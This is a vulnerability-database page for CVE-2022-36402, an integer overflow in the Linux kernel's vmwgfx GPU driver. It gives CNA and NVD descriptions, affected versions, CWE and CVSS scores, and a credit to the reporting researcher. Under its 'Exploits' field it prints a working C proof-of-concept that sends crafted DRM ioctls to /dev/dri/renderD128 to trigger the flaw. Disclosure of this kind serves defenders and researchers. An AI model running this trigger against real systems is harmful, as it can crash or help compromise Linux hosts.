Logo
-

Byte Open Security

(ByteOS Network)

Log In

Sign Up

ByteOS

Security
Vulnerability Details
Registries
Custom Views
Weaknesses
Attack Patterns
Filters & Tools
Vulnerability Details :

CVE-2022-36402

Summary
Assigner-Anolis
Assigner Org ID-cb8f1db9-b4b1-487b-a760-f65c4f368d8e
Published At-16 Sep, 2022 | 16:08
Updated At-17 Sep, 2024 | 03:38
Rejected At-
Credits

There is an int overflow vulnerability in vmwgfx driver

An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Vendors
-
Not available
Products
-
Metrics (CVSS)
VersionBase scoreBase severityVector
Weaknesses
Attack Patterns
Solution/Workaround
References
HyperlinkResource Type
EPSS History
Score
Latest Score
-
N/A
No data available for selected date range
Percentile
Latest Percentile
-
N/A
No data available for selected date range
Stakeholder-Specific Vulnerability Categorization (SSVC)
▼Common Vulnerabilities and Exposures (CVE)
cve.org
Assigner:Anolis
Assigner Org ID:cb8f1db9-b4b1-487b-a760-f65c4f368d8e
Published At:16 Sep, 2022 | 16:08
Updated At:17 Sep, 2024 | 03:38
Rejected At:
▼CVE Numbering Authority (CNA)
There is an int overflow vulnerability in vmwgfx driver

An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Affected Products
Vendor
Linux Kernel Organization, IncLinux
Product
kernel
Versions
Affected
  • From v4.3-rc1 before 5.13.0-52* (custom)
Problem Types
TypeCWE IDDescription
CWECWE-118CWE-118 Incorrect Access of Indexable Resource ('Range Error')
Type: CWE
CWE ID: CWE-118
Description: CWE-118 Incorrect Access of Indexable Resource ('Range Error')
Metrics
VersionBase scoreBase severityVector
3.16.3MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
Version: 3.1
Base score: 6.3
Base severity: MEDIUM
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

#include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int fd = 0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int sid){ char *vaddr=(unsigned long)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */, -1, 0); if (mlock((void *)vaddr, 0x2000) == -1) { printf("[-] failed to lock memory (%s), aborting!\n", strerror(errno)); } memset(vaddr,"a",0x2000); int cmd[0x1000]={0}; cmd[0]=1149; cmd[1]=0x50; cmd[2]=0x0; cmd[3]=0x0; cmd[4]=-1; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=2; arg.context_handle=sid; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } } int alloc_context(){ int arg[0x10]={0}; arg[0]=0; arg[1]=0x100; if (ioctl(fd, 0x80086447, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[0]; } int alloc_bo(){ int arg[0x10]={0}; arg[0]=0x10000; if (ioctl(fd, 0xC0186441, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[2]; } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int main(int ac, char **argv) { init(); int cid=alloc_context(); printf("%d",cid); poc(cid); }

Credits

Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
https://bugzilla.openanolis.cn/show_bug.cgi?id=2072
x_refsource_MISC
Hyperlink: https://bugzilla.openanolis.cn/show_bug.cgi?id=2072
Resource:
x_refsource_MISC
▼Authorized Data Publishers (ADP)
CVE Program Container
Affected Products
Metrics
VersionBase scoreBase severityVector
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
https://bugzilla.openanolis.cn/show_bug.cgi?id=2072
x_refsource_MISC
x_transferred
Hyperlink: https://bugzilla.openanolis.cn/show_bug.cgi?id=2072
Resource:
x_refsource_MISC
x_transferred
Information is not available yet
▼National Vulnerability Database (NVD)
nvd.nist.gov
Source:security@openanolis.org
Published At:16 Sep, 2022 | 17:15
Updated At:20 Sep, 2022 | 18:24

An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

CISA Catalog
Date AddedDue DateVulnerability NameRequired Action
N/A
Date Added: N/A
Due Date: N/A
Vulnerability Name: N/A
Required Action: N/A
Metrics
TypeVersionBase scoreBase severityVector
Primary3.15.5MEDIUM
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Secondary3.16.3MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
Type: Primary
Version: 3.1
Base score: 5.5
Base severity: MEDIUM
Vector:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Type: Secondary
Version: 3.1
Base score: 6.3
Base severity: MEDIUM
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
CPE Matches

Linux Kernel Organization, Inc
linux
>>linux_kernel>>-
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*
Weaknesses
CWE IDTypeSource
CWE-190Primarynvd@nist.gov
CWE-118Secondarysecurity@openanolis.org
CWE ID: CWE-190
Type: Primary
Source: nvd@nist.gov
CWE ID: CWE-118
Type: Secondary
Source: security@openanolis.org
Evaluator Description

Evaluator Impact

Evaluator Solution

Vendor Statements

References
HyperlinkSourceResource
https://bugzilla.openanolis.cn/show_bug.cgi?id=2072security@openanolis.org
Issue Tracking
Permissions Required
Third Party Advisory
Hyperlink: https://bugzilla.openanolis.cn/show_bug.cgi?id=2072
Source: security@openanolis.org
Resource:
Issue Tracking
Permissions Required
Third Party Advisory

Change History

0
Information is not available yet

Similar CVEs

0Records found

Details not found